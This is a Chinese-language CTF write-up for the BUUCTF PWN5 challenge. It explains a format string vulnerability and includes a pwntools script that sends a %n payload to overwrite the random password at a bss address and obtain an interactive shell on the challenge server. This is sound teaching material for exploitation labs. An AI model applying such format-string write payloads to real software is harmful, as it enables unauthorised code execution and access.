buuctf——[第五空间2019 决赛]PWN5 1
查看文件权限
设置了canary,无法栈溢出。
F5查看源程序
源程序大意是把随机数放入到bss段的0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限。
解题思路
看到了printf,又加了canary权限,可以想到考查格式化字符串漏洞。可以更改0x804c044处的值,所以要精心构造一个合适的格式化字符串。构造的方法很多。
在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。
“AAAA”写在了第10个位子。构造:
bss=0x804c044
payload=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)
"AAAA%16$n%17$n%18$n%19$n"这一段一共是24个字节,当写入栈里时,会占满第10,11,12,13,14,15个位置;
p32(bss)、p32(bss+1)、p32(bss+2)、p32(bss+3)作为后半部分,接着会被写到第16、17、18、19位。一定是根据这几个的位置调整payload前半部分。
而由于输出的是AAAA,一共4个字节,由于$n的性质,4会被写入到bss位置。
查看内存情况:
payload已经被写入到了内存中。
4被写入了bss地址。
解题代码
from pwn import *
#context.log_level='debug'
p=remote("node3.buuoj.cn",28630)
#p=process("./pwn5")
bss=0x0804c044
#pause()
payload=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)
p.sendline(payload)
p.sendline(str(0x04040404))
p.interactive()
buuctf——[第五空间2019 决赛]PWN5 1相关推荐
- (Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用
这题是个基本格式化字符串漏洞利用; 满足if条件即可得到答案; 使 nptr 与 dword_804C044 相等即可; 可以使我们利用的是 第一次的输入输出; addr=0x804C044 payl ...
- [BUUCTF-pwn]——[第五空间2019 决赛]PWN5
[BUUCTF-pwn]--[第五空间2019 决赛]PWN5 题目地址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 题目: 这是一道格式化字符串的 ...
- [第五空间2019 决赛]PWN5
[第五空间2019 决赛]PWN5 格式化字符串漏洞 设置了canary,无法栈溢出 main函数 主要是输入name和passwd,passwd是一个随机数的覆盖值(unk_804C044) 看到了 ...
- BUUCTF [De1CTF 2019] SSRF Me
BUUCTF [De1CTF 2019] SSRF Me 考点: Flask代码审计 Python字符串拼接 Hint: flag is in ./flag.txt 启动环境,给出了源码: #! /u ...
- web buuctf [SUCTF 2019]Pythonginx1
知识点:1.nignx 2.idna编码与utf-8编码的漏洞 1.开题 查看源码,整理代码: @app.route('/getUrl', methods=['GET', 'POST']) def g ...
- 百度之星2019决赛摸鱼记
前言 绝对不鸽 没有的事 我云岛主已经在路上了 Day0 一个人来到了北京 真的很冷. 举目无亲,然后认识了dcx大爷,大爷非常平易近人体验极佳 然后就在酒店快乐聊天睡觉,一觉睡到了欢迎晚宴.嗯.北京 ...
- buuctf GWCTF 2019 pyre
下载题目发现是一个pyc文件,关于pyc的详细解释,我看到了这篇文章(6条消息) .pyc是什么?_loveliuzz的博客-CSDN博客_.pyc pyc文件是PyCodeObject的一种持久化保 ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- buuctf pwn wp(第四波)格式化字符串漏洞系列
这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...
最新文章
- 电影中成千上万的群众演员是怎么来的?
- 服务器拒绝连接(The remote system refused the connection.)
- createinstance.java_C# Activator.CreateInstance()方法使用
- Latex字体加粗命令备忘
- mingw编译boost_1_66_0
- rhel5 配置yum到centos源
- Sublime Text3怎样在Deepin中配置CTags插件
- Java创建对象小结
- Android开发笔记(六十一)文件下载管理DownloadManager
- eclipse报错:“start ruble bundle manager”解决方法
- 单片机技术及应用:基于proteus仿真的c语言程序设计,单片机的C语言程序设计与应用:基于Proteus仿真(第4版)...
- 一维优化 方法c语言,第三章一维优化方法
- mysql 事件计划区别_【转】mysql 计划事件
- 域用户绑定计算机,域批量绑定用户帐户与计算机帐户
- 工作照制作微信小程序V2.4.21源码
- 使用OpenCV+Tensorflow跟踪排球的轨迹
- 朴素贝叶斯、贝叶斯网络分类器
- 电子科技大学 易查分网站 爬虫 批量爬取成绩
- 数据结构期末复习线性表(2)
- 关于字符集与字符编码——一个ö字符引发的案件